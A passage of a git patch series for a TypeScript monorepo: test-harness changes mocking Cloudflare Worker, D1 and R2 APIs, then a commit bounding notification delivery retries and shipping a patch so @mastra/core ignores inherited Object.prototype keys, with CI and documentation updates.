cleanup.push(() => local.close()); const native = await createDirectReferenceHarness({ @@ -417,6 +518,7 @@ async function fixture( }, maintenanceNow: Date.now, applicationProbes: true, + nodeProviderRest: true, ...(options.nodeResponse ? { nodeResponse: options.nodeResponse } : {}), }); cleanup.push(() => native.close()); @@ -809,6 +911,90 @@ describe('scenario resume re-entry against a settled journal', () => { return state; }; + it('refuses a control read that repeats an operation slot', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + await target.journal.recordScenario( + seed('migration-start', () => {}) as DirectScenarioState, + ); + const { invocation } = reference(target, { interrupted: false }); + const duplicating: DirectInvocationClient = { + async invoke(action) { + const outcome = await invocation.invoke(action); + if (action.kind !== 'control-read') return outcome; + const result = outcome.result as { operations: readonly unknown[] }; + return { + ...outcome, + result: { + ...result, + operations: [...result.operations, ...result.operations], + }, + }; + }, + }; + expect(await run(target, duplicating)).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'migration-start', + }); + expect(stored(target).failure).toMatchObject({ + code: 'observation-mismatch', + }); + }); + + it('re-raises the persisted refusal detail on resume', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + await target.journal.recordScenario( + seed('migration-start', (state) => { + state.failure = { + code: 'budget-exhausted', + ordinal: 3, + detail: 'below-scenario-floor', + }; + }) as DirectScenarioState, + ); + const { actions, invocation } = reference(target, { interrupted: false }); + expect(await run(target, invocation)).toMatchObject({ + status: 'failed', + reason: 'budget-exhausted', + detail: 'below-scenario-floor', + phase: 'migration-start', + }); + expect(actions).toEqual([]); + expect(stored(target).failure).toEqual({ + code: 'budget-exhausted', + ordinal: 3, + detail: 'below-scenario-floor', + }); + }); + + it('reports the persisted failure code after a resume spends an invocation', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + await target.journal.recordScenario( + seed('migration-start', (state) => { + state.failure = { code: 'reference-refused', ordinal: 3 }; + }) as DirectScenarioState, + ); + const reservation = await target.journal.reserveInvocation( + JSON.stringify({ + contractVersion: 1, + configSha256: target.f.prepared.configSha256, + action: { kind: 'control-read' }, + }), + ); + await target.journal.settleInvocation(reservation); + const { actions, invocation } = reference(target, { interrupted: false }); + expect(await run(target, invocation)).toMatchObject({ + status: 'failed', + reason: 'reference-refused', + phase: 'migration-start', + }); + expect(actions).toEqual([]); + expect(stored(target).failure).toEqual({ + code: 'reference-refused', + ordinal: 3, + }); + }); + it('issues no second migration start and consumes the injection only at the interrupt', async () => { const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); await target.journal.recordScenario( diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts index feaf8eff..2dbff345 100644 --- a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts +++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts @@ -475,3 +475,29 @@ describe.sequential('direct tenant fixture in workerd', { ).toBe(401); }); }); + +describe('direct reference harness provider surface', () => { + it('answers the Node-side deployment read only when the harness opts in', async () => { + const deployment = + 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/absent-script/deployments/deployment'; + const gated = await createDirectReferenceHarness(); + try { + expect((await gated.projection.fetch(deployment)).status).toBe(404); + } finally { + await gated.close(); + } + const opted = await createDirectReferenceHarness({ + nodeProviderRest: true, + }); + try { + const response = await opted.projection.fetch(deployment); + const body = (await response.json()) as { result: { id: string } }; + expect({ status: response.status, id: body.result.id }).toEqual({ + status: 200, + id: 'deployment', + }); + } finally { + await opted.close(); + } + }); +}); diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index fcf1d69e..54d26954 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -40,6 +40,7 @@ export async function createDirectReferenceHarness( manifest?: DirectRunManifest; binding?: DirectRunBinding; applicationProbes?: boolean; + nodeProviderRest?: boolean; nodeResponse?: (request: Request, response: Response) => Promise; applicationFetch?: (request: CloudflareFixtureRequest) => Promise; providerResponse?: ( @@ -98,112 +99,118 @@ export async function createDirectReferenceHarness( entry.versionId === version.versionId && entry.percentage === 100, ), ); + async function observedProviderRest( + request: CloudflareFixtureRequest, + ): Promise { + const url = new URL(request.url); + const scriptName = url.pathname + .split('/workers/scripts/')[1] + ?.split('/')[0]; + const script = scriptName ? world.scripts.get(scriptName) : undefined; + const metadata = + request.body && + typeof request.body === 'object' && + 'metadata' in request.body + ? (request.body.metadata as Record) + : undefined; + if ( + request.method === 'GET' && + url.pathname.endsWith('/deployments/deployment') + ) + return single({ + id: 'deployment', + strategy: 'percentage', + versions: script?.deployment?.map(({ versionId, percentage }) => ({ + version_id: versionId, + percentage, + })), + }); + if ( + request.method === 'GET' && + url.pathname.endsWith('/settings') && + script?.present + ) { + const active = activeVersion(script); + const runtime = versionRuntime.get(active?.versionId ?? '') as + | Record + | undefined; + return single({ + ...runtime, + bindings: active?.bindings.map((entry) => { + const value = entry as Record; + return value.type === 'secret_text' + ? { type: value.type, name: value.name } + : value; + }), + }); + } + if ( + request.method === 'POST' && + url.pathname === + `/client/v4/accounts/account/d1/database/${binding.fleetDatabaseId}/query` + ) { + const query = request.body as { sql: string; params: string[] }; + if ( + !query.sql.startsWith('SELECT ') || + (!query.sql.includes(' FROM direct_reference_observations WHERE ') && + !query.sql.includes(' FROM anchorage_fleet_deployments WHERE ')) + ) + throw new Error('unexpected Node D1 query'); + const result = await db + .prepare(query.sql) + .bind(...query.params) + .all(); + return single([{ success: true, results: result.results }]); + } + if ( + request.method === 'GET' && + url.pathname.startsWith( + `/client/v4/accounts/account/r2/buckets/${binding.exportBucketName}/objects/`, + ) + ) { + const key = decodeURIComponent(url.pathname.split('/objects/')[1] ?? ''); + const value = await exportBytes.get(key); + return value + ? new Response(await value.arrayBuffer()) + : new Response(null, { status: 404 }); + } + let response = await rest(request); + if (metadata && response.ok && scriptName) { + const current = world.scripts.get(scriptName); + for (const version of current?.versions ?? []) + if (!versionRuntime.has(version.versionId)) + versionRuntime.set(version.versionId, { + compatibility_date: metadata.compatibility_date, + compatibility_flags: metadata.compatibility_flags ?? [], + limits: metadata.limits, + }); + } + if ( + request.method === 'GET' && + /\/versions\/[^/]+$/u.test(url.pathname) && + response.ok + ) { + const value = (await response.json()) as { + result: { id: string; resources: Record }; + }; + const runtime = versionRuntime.get(value.result.id) as + | { limits?: { cpu_ms?: number } } + | undefined; + value.result.resources.script_runtime = { + ...runtime, + limits: { cpu_ms: runtime?.limits?.cpu_ms }, + }; + response = Response.json(value); + } + return response; + } async function providerRest( request: CloudflareFixtureRequest, ): Promise { try { - const url = new URL(request.url); - const scriptName = url.pathname - .split('/workers/scripts/')[1] - ?.split('/')[0]; - const script = scriptName ? world.scripts.get(scriptName) : undefined; - const metadata = - request.body && - typeof request.body === 'object' && - 'metadata' in request.body - ? (request.body.metadata as Record) - : undefined; - let response: Response; - if ( - request.method === 'GET' && - url.pathname.endsWith('/deployments/deployment') - ) { - response = single({ - id: 'deployment', - strategy: 'percentage', - versions: script?.deployment?.map(({ versionId, percentage }) => ({ - version_id: versionId, - percentage, - })), - }); - } else if ( - request.method === 'GET' && - url.pathname.endsWith('/settings') && - script?.present - ) { - const active = activeVersion(script); - const runtime = versionRuntime.get(active?.versionId ?? '') as - | Record - | undefined; - response = single({ - ...runtime, - bindings: active?.bindings.map((entry) => { - const value = entry as Record; - return value.type === 'secret_text' - ? { type: value.type, name: value.name } - : value; - }), - }); - } else if ( - request.method === 'POST' && - url.pathname === - `/client/v4/accounts/account/d1/database/${binding.fleetDatabaseId}/query` - ) { - const query = request.body as { sql: string; params: string[] }; - if ( - !query.sql.startsWith('SELECT ') || - (!query.sql.includes(' FROM direct_reference_observations WHERE ') && - !query.sql.includes(' FROM anchorage_fleet_deployments WHERE ')) - ) - throw new Error('unexpected Node D1 query'); - const result = await db - .prepare(query.sql) - .bind(...query.params) - .all(); - response = single([{ success: true, results: result.results }]); - } else if ( - request.method === 'GET' && - url.pathname.startsWith( - `/client/v4/accounts/account/r2/buckets/${binding.exportBucketName}/objects/`, - ) - ) { - const key = decodeURIComponent( - url.pathname.split('/objects/')[1] ?? '', - ); - const value = await exportBytes.get(key); - response = value - ? new Response(await value.arrayBuffer()) - : new Response(null, { status: 404 }); - } else { - response = await rest(request); - if (metadata && response.ok && scriptName) { - const current = world.scripts.get(scriptName); - for (const version of current?.versions ?? []) - if (!versionRuntime.has(version.versionId)) - versionRuntime.set(version.versionId, { - compatibility_date: metadata.compatibility_date, - compatibility_flags: metadata.compatibility_flags ?? [], - limits: metadata.limits, - }); - } - if ( - request.method === 'GET' && - /\/versions\/[^/]+$/u.test(url.pathname) && - response.ok - ) { - const value = (await response.json()) as { - result: { id: string; resources: Record }; - }; - const runtime = versionRuntime.get(value.result.id) as - | { limits?: { cpu_ms?: number } } - | undefined; - value.result.resources.script_runtime = { - ...runtime, - limits: { cpu_ms: runtime?.limits?.cpu_ms }, - }; - response = Response.json(value); - } - } + const response = policy.nodeProviderRest + ? await observedProviderRest(request) + : await rest(request); return policy.providerResponse ? await policy.providerResponse(request, response) : response; @@ -226,80 +233,83 @@ export async function createDirectReferenceHarness( throw error; } } - const projection = recordingFetch(async (request) => { + async function applicationProbe( + request: CloudflareFixtureRequest, + ): Promise { const url = new URL(request.url); + const role = roles.find( + (role) => url.hostname === manifest.names.roles[role].routeHostname, + ); + if (!role) throw new Error('unknown fixture application role'); if ( - policy.applicationProbes && - specs.some((spec) => url.origin === `https://${spec.routeHostname}`) - ) { - const role = roles.find( - (role) => url.hostname === manifest.names.roles[role].routeHostname, - ); - if (!role) throw new Error('unknown fixture application role'); - if ( - request.headers.get('authorization') !== - `Bearer ${secrets[role].application?.APP_PROBE_TOKEN}` - ) - return new Response(null, { status: 401 }); - const record = await fleetStore.get( - manifest.names.roles[role].tenantTag, - manifest.environment, - ); - if (!record) throw new Error('missing fixture application record'); - const database = world.databases.find( - (database) => database.databaseId === record.databaseId, - ); - const active = activeVersion(world.scripts.get(record.scriptName)); - if (!database || !active) - throw new Error('missing active fixture application'); - const releaseBinding = active.bindings.find( - (binding) => - binding && - typeof binding === 'object' && - Reflect.get(binding, 'name') === 'APPLICATION_RELEASE', - ); - const release = - releaseBinding && typeof releaseBinding === 'object' - ? Reflect.get(releaseBinding, 'text') - : undefined; - if (url.pathname === '/__direct/health' && request.method === 'GET') { - const rows = database.d1.queryDatabase( - 'SELECT marker FROM direct_conformance_fixture WHERE id=1', - ); - return Response.json({ release, marker: rows[0]?.marker }); - } - const bucket = record.applicationResources?.find( - (resource) => resource.name === 'PROBE_BUCKET', + request.headers.get('authorization') !== + `Bearer ${secrets[role].application?.APP_PROBE_TOKEN}` + ) + return new Response(null, { status: 401 }); + const record = await fleetStore.get( + manifest.names.roles[role].tenantTag, + manifest.environment, + ); + if (!record) throw new Error('missing fixture application record'); + const database = world.databases.find( + (database) => database.databaseId === record.databaseId, + ); + const active = activeVersion(world.scripts.get(record.scriptName)); + if (!database || !active) + throw new Error('missing active fixture application'); + const releaseBinding = active.bindings.find( + (binding) => + binding && + typeof binding === 'object' && + Reflect.get(binding, 'name') === 'APPLICATION_RELEASE', + ); + const release = + releaseBinding && typeof releaseBinding === 'object' + ? Reflect.get(releaseBinding, 'text') + : undefined; + if (url.pathname === '/__direct/health' && request.method === 'GET') { + const rows = database.d1.queryDatabase( + 'SELECT marker FROM direct_conformance_fixture WHERE id=1', ); - if (!bucket || url.pathname !== '/__direct/object') - throw new Error('unknown fixture application route'); - const key = `${bucket.jurisdiction}:${bucket.bucketName}/${DIRECT_TENANT_OBJECT_KEY}`; - if (request.method === 'POST') { - await applicationBytes.put(key, DIRECT_TENANT_OBJECT_BODY); - return new Response(null, { status: 204 }); - } - if (request.method === 'DELETE') { - await applicationBytes.delete(key); - return new Response(null, { status: 204 }); - } - if (request.method !== 'GET') - throw new Error('unexpected fixture application method'); - const value = await applicationBytes.get(key); - return value - ? Response.json({ - present: true, - size: value.size, - sha256: createHash('sha256') - .update(Buffer.from(await value.arrayBuffer())) - .digest('hex'), - }) - : Response.json({ present: false }); + return Response.json({ release, marker: rows[0]?.marker }); + } + const bucket = record.applicationResources?.find( + (resource) => resource.name === 'PROBE_BUCKET', + ); + if (!bucket || url.pathname !== '/__direct/object') + throw new Error('unknown fixture application route'); + const key = `${bucket.jurisdiction}:${bucket.bucketName}/${DIRECT_TENANT_OBJECT_KEY}`; + if (request.method === 'POST') { + await applicationBytes.put(key, DIRECT_TENANT_OBJECT_BODY); + return new Response(null, { status: 204 }); + } + if (request.method === 'DELETE') { + await applicationBytes.delete(key); + return new Response(null, { status: 204 }); } + if (request.method !== 'GET') + throw new Error('unexpected fixture application method'); + const value = await applicationBytes.get(key); + return value + ? Response.json({ + present: true, + size: value.size, + sha256: createHash('sha256') + .update(Buffer.from(await value.arrayBuffer())) + .digest('hex'), + }) + : Response.json({ present: false }); + } + const projection = recordingFetch(async (request) => { + const url = new URL(request.url); + const application = specs.some( + (spec) => url.origin === `https://${spec.routeHostname}`, + ); + if (application && policy.applicationProbes) + return applicationProbe(request); if ( + application && policy.applicationFetch && - specs.some( - (candidate) => url.origin === `https://${candidate.routeHostname}`, - ) && (url.pathname === '/__direct/health' || url.pathname === '/__direct/object') ) diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts index 2b23d863..6f7c46b1 100644 --- a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -182,11 +182,20 @@ export async function confirmedBootstrap( } export const MAX_ID = 'z'.repeat(128); +export const MAX_COUNT = Number.MAX_SAFE_INTEGER; export const DIGEST = 'a'.repeat(64); export const LOCATION = `r2://${'p'.repeat(700)}`; export const DATE = '2026-09-10T00:00:00.000Z'; -export const PROCESS = { pid: 1, startTicks: '1000', bootId: MAX_ID }; -export const RESUMED = { pid: 2, startTicks: '2000', bootId: MAX_ID }; +export const PROCESS = { + pid: MAX_COUNT, + startTicks: '1000', + bootId: MAX_ID, +}; +export const RESUMED = { + pid: MAX_COUNT - 1, + startTicks: '2000', + bootId: MAX_ID, +}; export function workerVersion( role: 'a' | 'b' | 'recovery', @@ -212,8 +221,8 @@ export function workerVersion( ], }, trafficPercentage, - cpuLimitMs: 50, - subrequestLimit: 50, + cpuLimitMs: MAX_COUNT, + subrequestLimit: MAX_COUNT, schemaVersion: 2, namespaces: [ { @@ -246,7 +255,7 @@ export function exportProof(role: 'a' | 'b') { operationId: MAX_ID, }, location: LOCATION, - size: 1, + size: MAX_COUNT, sha256: DIGEST, sourceInvocationOrdinal: 1, }; @@ -292,8 +301,8 @@ export function footprint() { export function inventoryProof() { return { operationId: MAX_ID, - generation: 1, - calls: 2, + generation: MAX_COUNT, + calls: MAX_COUNT, databaseIds: [MAX_ID, MAX_ID], namespaceIds: Array.from({ length: 4 }, () => MAX_ID), scriptNames: [MAX_ID, MAX_ID], @@ -308,10 +317,10 @@ export function inventoryProof() { export function auditProof() { return { operationId: MAX_ID, - generation: 1, + generation: MAX_COUNT, recordCount: 2 as const, findingCount: 16, - finalizedAtMs: 1, + finalizedAtMs: MAX_COUNT, findings: Array.from({ length: 16 }, () => ({ tenantTag: MAX_ID, environment: MAX_ID, @@ -335,10 +344,14 @@ export function maximalScenario(): MutableScenario { afterOrdinal: 1, }, outcome: 'returned' as const, - attempts: { provider: 1, maintenance: 1, application: 1 }, + attempts: { + provider: MAX_COUNT, + maintenance: MAX_COUNT, + application: MAX_COUNT, + }, migration: { itemOrdinal: 0 as const, - cursor: 0, + cursor: MAX_COUNT, step: MAX_ID, itemsSha256: DIGEST, }, @@ -349,9 +362,13 @@ export function maximalScenario(): MutableScenario { startedOrdinal: 0, callCount: 3, phaseCalls, - attempts: { provider: 1, maintenance: 1, application: 1 }, - sdkRequests: 4, - inventoryCalls: { before: 2, after: 2 }, + attempts: { + provider: MAX_COUNT, + maintenance: MAX_COUNT, + application: MAX_COUNT, + }, + sdkRequests: MAX_COUNT, + inventoryCalls: { before: MAX_COUNT, after: MAX_COUNT }, lastCall: call, mutation: call, reconciledOrdinal: 3, @@ -371,7 +388,7 @@ export function maximalScenario(): MutableScenario { pendingArtifactVersion: MAX_ID, databaseId: MAX_ID, })), - failure: { code: 'observation-mismatch', ordinal: 3 }, + failure: { code: 'observation-mismatch', ordinal: MAX_COUNT }, proofs: { initial: { a: workerVersion('a', '1', 100), @@ -387,8 +404,8 @@ export function maximalScenario(): MutableScenario { b: workerVersion('b', '2', 100), }, objects: { - a: { size: 31, sha256: DIGEST }, - b: { size: 31, sha256: DIGEST }, + a: { size: MAX_COUNT, sha256: DIGEST }, + b: { size: MAX_COUNT, sha256: DIGEST }, }, objectDeletions: { a: 1, b: 1 }, recoveryExportAbsent: { beforeOrdinal: 1, afterOrdinal: 2 }, @@ -441,11 +458,11 @@ export function maximalScenario(): MutableScenario { ordinal: 1, itemOrdinal: (index % 2) as 0 | 1, step: MAX_ID, - beforeCursor: 0, - afterCursor: 1, - provider: 1, - maintenance: 1, - application: 1, + beforeCursor: MAX_COUNT, + afterCursor: MAX_COUNT, + provider: MAX_COUNT, + maintenance: MAX_COUNT, + application: MAX_COUNT, })), effects: (['a', 'b'] as const).map((role) => ({ role, @@ -480,11 +497,11 @@ export function maximalScenario(): MutableScenario { applicationR2Settled: true, databaseAbsentReadback: true, scan: { - discover: { evidenceSha256: DIGEST, evidenceCount: 1 }, - verify: { evidenceSha256: DIGEST, evidenceCount: 1 }, + discover: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT }, + verify: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT }, }, }, - completedAtMs: 1, + completedAtMs: MAX_COUNT, }, exports: { a: exportProof('a'), b: exportProof('b') }, exportVerifications: Array.from({ length: 16 }, () => exportProof('a')), From 4cb59a102bc6e026c7171e8a20c5c9998b2c4fc0 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 12 Sep 2026 18:26:54 +0400 Subject: [PATCH 135/169] feat(flowsafe): bound notification delivery and patch Core source keys Discard a notification after ten failed delivery attempts by default, configurable on the tick and thread-route factories, retaining its count and last error and removing it from due scans. Require the conditional failure write through NotificationDeliveryStorage, which D1NotificationsStorage applies as one guarded statement; a store without it is refused before any read or send. A newer summary, delivery or content-denial receipt another writer commits survives that write, including when its response is lost. A due row whose scalars cannot be read is left for repair rather than rewritten, and a notification settles to one outcome per dispatch request. Compare notification dates as instants for due selection, ordering and retention, including expanded years and numeric offsets. Raw timestamp text outside the supported grammar never matches due selection when it sits in deliverAt or summaryAt and never matches retention when it sits in updatedAt; a supported encoding keeps its stored bytes, and the docs name what a direct database writer may store. Ship a pinned patch for @mastra/core 1.53.0 that counts summary sources in a null-prototype object and reads own delivery-policy source entries only, so a source named after an Object.prototype member is neither miscounted nor able to bypass the configured priority or default action. The workspace applies it through pnpm patchedDependencies; consumers apply the published file at their application root as the getting-started guide documents, and CONTRIBUTING records the exception against the removal procedure in the maintainer guide. Refuse to construct the notification dispatch tick and refuse notification dispatch requests when the installed Core lacks the patch, probing what the summary helper returns so a correct upstream fix passes. The starter Worker builds its notification tick on first use inside its maintenance tick, so that refusal fails the notification leg of a pass after the schedule leg ran rather than the wiring call. Drop the patch entry in the mastra-compat canary before it resolves the newest Core, and gate the patched-behaviour cases on the same probe, leaving its ungated probe cases as the canary's readable signal. Cover the summary and delivery-policy matrices through the ESM and CommonJS entries, the refusal seam under a mocked unpatched helper, the route, dispatch, real-agent and integration paths, the storage and drain-inventory suites, the chronological read path in the Wrangler harness, the starter maintenance tick under a refusing Core, and the packed consumer with and without the patch, including the documented two-leg postinstall command run twice against a scratch application root. That packed proof needs GNU patch on PATH. Align the starter lifecycle test's database stub with the result shape the schedule store has read since the fence guard. That suite fails on a stub without it. Refs: mastra-ai/mastra#23693, mastra-ai/mastra#23694 Co-Authored-By: Claude Fable 5.1 --- .../flowsafe-notification-delivery-bound.md | 11 + .github/workflows/ci.yml | 10 + CONTRIBUTING.md | 11 + docs/durable-agents.md | 18 + docs/getting-started.md | 57 + docs/maintainer-guide.md | 23 +- package.json | 3 + packages/agent-starter/README.md | 2 + packages/agent-starter/src/maintenance.ts | 26 +- .../test/durable-object-lifecycle.test.ts | 8 +- .../test/maintenance-tick-refusal.test.ts | 128 ++ packages/flowsafe/README.md | 12 +- packages/flowsafe/deploy/README.md | 2 + packages/flowsafe/package.json | 1 + .../patches/@mastra__core@1.53.0.patch | 54 + .../flowsafe/scripts/agent-host-pack-test.mjs | 369 +++++- .../flowsafe/src/do-runner/d1-storage.test.ts | 170 ++- packages/flowsafe/src/do-runner/d1-storage.ts | 13 +- .../flowsafe/src/do-runner/inventory.test.ts | 107 ++ packages/flowsafe/src/do-runner/inventory.ts | 16 +- .../src/do-runner/notification-predicate.ts | 157 ++- .../src/execution-entry-matrix.test.ts | 10 +- packages/flowsafe/src/signals/d1-shared.ts | 7 +- packages/flowsafe/src/signals/index.ts | 5 + .../notification-dispatch.patch-seam.test.ts | 131 ++ .../src/signals/notification-dispatch.test.ts | 949 +++++++++++++- .../src/signals/notification-dispatch.ts | 645 +++++++-- .../signals/notification-source-keys.test.ts | 567 ++++++++ .../src/signals/notifications-d1.test.ts | 1167 ++++++++++++++++- .../flowsafe/src/signals/notifications-d1.ts | 281 +++- .../signal-ingestion.integration.test.ts | 427 +++++- .../thread-do-routes.real-agent.test.ts | 182 ++- .../src/signals/thread-do-routes.test.ts | 1022 ++++++++++++++- .../flowsafe/src/signals/thread-do-routes.ts | 201 ++- .../flowsafe/test-support/harness-probe.ts | 272 ++++ pnpm-lock.yaml | 21 +- scripts/flowsafe-harness.test.ts | 143 ++ 37 files changed, 6902 insertions(+), 326 deletions(-) create mode 100644 .changeset/flowsafe-notification-delivery-bound.md create mode 100644 packages/agent-starter/test/maintenance-tick-refusal.test.ts create mode 100644 packages/flowsafe/patches/@mastra__core@1.53.0.patch create mode 100644 packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts create mode 100644 packages/flowsafe/src/signals/notification-source-keys.test.ts diff --git a/.changeset/flowsafe-notification-delivery-bound.md b/.changeset/flowsafe-notification-delivery-bound.md new file mode 100644 index 00000000..5d483ce3 --- /dev/null +++ b/.changeset/flowsafe-notification-delivery-bound.md @@ -0,0 +1,11 @@ +--- +'@proofoftech/flowsafe': minor +--- + +Bound notification delivery to ten failed attempts by default, configurable through `maxDeliveryAttempts` on tick and thread-route factories. Discard exhausted rows before another send, retain their error/count receipts, and remove them from due scans while preserving retry delays below the bound. + +Require conditional failure writes through `NotificationDeliveryStorage` for dispatch. `D1NotificationsStorage` implements the atomic operation; custom stores must adopt it. Preserve newer summary, delivery and content-denial receipts after response loss, and count each local outcome once without inferring unconfirmed success. Ordinary Core notification ingestion remains supported. + +Compare notification dates chronologically before bounded selection and retention, including expanded years and numeric offsets. Direct database writers must use ISO dates or explicitly zoned ISO date-times; conditional failure writes reject raw timestamp text outside that grammar, and neither due selection nor retention matches such a value. + +Ship the `@mastra/core@1.53.0` patch under `patches/`. Application roots must apply it for own-property-safe summary source counts and source delivery policies; `@mastra/core@1.53.0` otherwise reads inherited `Object.prototype` members at both sites (mastra-ai/mastra#23693, mastra-ai/mastra#23694). The getting-started guide documents the pnpm, npm and Yarn routes. Flowsafe refuses to construct its notification dispatch tick and refuses notification dispatch requests when the installed `@mastra/core` lacks the patch. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 92c9335c..b767c2a3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -180,6 +180,15 @@ jobs: # @mastra/* exclude does not cover and which would wedge the probe on # ERR_PNPM_NO_MATURE_MATCHING_VERSION. Scoped to this one resolution; # every real install keeps the workspace gate. + # The workspace pins packages/flowsafe/patches/@mastra__core@1.53.0.patch + # to @mastra/core@1.53.0 through pnpm.patchedDependencies, and pnpm + # refuses an install whose patch targets a version no longer in the + # graph. This job drops that entry in its disposable checkout and + # resolves the newest core unpatched, so flowsafe's notification tick and + # dispatch refuse with a message naming the patch and + # notification-source-keys.test.ts reports its probe cases as the + # readable signal. See the maintainer guide's Mastra compatibility + # section. - name: Bump @mastra/core to newest 1.x id: mastra_versions run: | @@ -187,6 +196,7 @@ jobs: D1_VERSION=$(npm view '@mastra/cloudflare-d1@^1' version --json | node -e 'const d=JSON.parse(require("fs").readFileSync(0,"utf8"));console.log(Array.isArray(d)?d.at(-1):d)') echo "core=$CORE_VERSION" >> "$GITHUB_OUTPUT" echo "d1=$D1_VERSION" >> "$GITHUB_OUTPUT" + node -e 'const fs=require("node:fs");const m=JSON.parse(fs.readFileSync("package.json","utf8"));delete m.pnpm.patchedDependencies;fs.writeFileSync("package.json",`${JSON.stringify(m,null,2)}\n`)' pnpm -r update --config.minimum-release-age=0 "@mastra/core@$CORE_VERSION" "@mastra/cloudflare-d1@$D1_VERSION" pnpm --filter @proofoftech/breakwater list @mastra/core pnpm --filter @proofoftech/flowsafe list @mastra/core @mastra/cloudflare-d1 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 42940bf9..7207667b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -130,3 +130,14 @@ tier. Anchorage is an independent implementation built ON Mastra. Contributions must not fork or modify Mastra source code, wrap Mastra Enterprise features to bypass their licensing, or copy any third-party proprietary implementation. + +The single permitted exception is +`packages/flowsafe/patches/@mastra__core@1.53.0.patch`, which changes the +published `@mastra/core@1.53.0` runtime chunks so that `summarizeNotifications` +counts sources in a null-prototype object and the delivery policy's `sources` +lookup reads own properties only (mastra-ai/mastra#23693, #23694). It is applied +through pnpm `patchedDependencies` and leaves the shipped source maps untouched. +It is removed when a `@mastra/core` release carrying the upstream fix is +adopted, following the procedure in the +[maintainer guide's Mastra compatibility section](docs/maintainer-guide.md#mastra-compatibility). +No other Mastra modification is permitted. diff --git a/docs/durable-agents.md b/docs/durable-agents.md index a3dedebb..5f9dfd41 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -259,6 +259,24 @@ The agent host persists a thread-to-agent binding and per-run principal record i Thread delivery is priority-planned across summaries and individual notifications, remains stable across 100-record chunks, and suppresses summarized high-priority rows while the thread was active. +### Bound notification delivery + +`createNotificationDispatchTick()` and `createThreadSignalRoutes()` accept `maxDeliveryAttempts`, a positive safe integer defaulting to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. Use the same value on both factories. They capture the policy at construction; request bodies cannot change it. A tick with `limit: 0` performs no delivery or storage work, while invalid numeric policy and an unpatched `@mastra/core` still fail at construction. + +`deliveryAttempts` counts persisted failed rounds. At the bound, the conditional write sets `discarded`, `deliveryReason: "delivery-attempts-exhausted"` and cleared delivery cursors. A row already at the bound is not sent; its conditional discard preserves the previous count, error and attempt time. Retry delays below the bound retain the existing backoff. Malformed counters remain unmodified and produce an unresolved failure. A due row whose other scalars cannot be read is not written: it is counted as a failed outcome, re-selected on every pass, holds its place in the bounded window and in the `pending-notifications` inventory category, and must be repaired or deleted directly. + +Terminal receipts remain available through `getNotification()` and `listNotifications()` until the host's configured retention removes them. They include the last error/count and discard timestamp. The due scan excludes terminal notifications so a persistently refused target can release its place in the bounded dispatch window. + +The tick requires `NotificationDeliveryStorage`. `D1NotificationsStorage` provides its `updateNotificationDeliveryIfUnchanged()` operation. Custom implementations must atomically compare the supplied `NotificationDeliveryObservation` and apply the narrow `NotificationDeliveryFailure` patch against their other writers. The observation uses detached scalar values, ISO timestamps and encoded JSON; the public types define its fields. A method implemented as an asynchronous read followed by an unconditional update does not satisfy that contract. Ordinary Core storage can still serve notification ingestion; driving dispatch requires the conditional operation. + +Failure bookkeeping preserves newer summary, delivery and content-denial receipts. A conditional write with an uncertain response can be confirmed by an exact target readback. General delivery responses that are lost remain conservatively counted as failed; the dispatcher does not invent successful deliveries from another writer's state. Invocation counters do not promise exactly-once signal delivery: a signal can succeed before its receipt write fails. + +Attempt time and retry cursors use the dispatch clock. Updated/discarded timestamps use a captured wall-clock value for retention. Identical same-ID replacements with no observable difference have no separate generation identity under this contract. + +D1 compares notification timestamps as instants when selecting due rows, ordering lists and applying retention. Public storage methods accept finite `Date` values. Direct database writers must use ISO dates or ISO date-times with an explicit UTC or numeric offset. A date-time with no zone, or non-ISO text, is outside that grammar: such a value in `deliverAt` or `summaryAt` never matches due selection, and such a value in `updatedAt` never matches retention, so repair or delete the row that carries it directly; supported raw encodings retain their stored bytes. + +Summary source counts and a configured source delivery policy read own properties only where the `@mastra/core` patch flowsafe ships is applied at the application root; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses to construct its notification dispatch tick and refuses notification dispatch on an unpatched install. See [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore). + ## Expose signal ingestion Mount `createSignalRouter()` through `createFlowsafeWorker({ buildSignalRouter })`. The default prefix is `/api/threads`. diff --git a/docs/getting-started.md b/docs/getting-started.md index d0d31921..2ed9fa68 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -175,6 +175,63 @@ grant. Side-effecting steps remain protected by the server-derived approval context. The agent host has no public resume route; an agent run advances only through an approval decision. +## Apply the flowsafe patch to @mastra/core + +`@mastra/core` `1.53.0` reads inherited `Object.prototype` members when a notification's `source` names one. `summarizeNotifications()` accumulates per-source counts in an ordinary object literal, so a notification whose `source` is `constructor`, 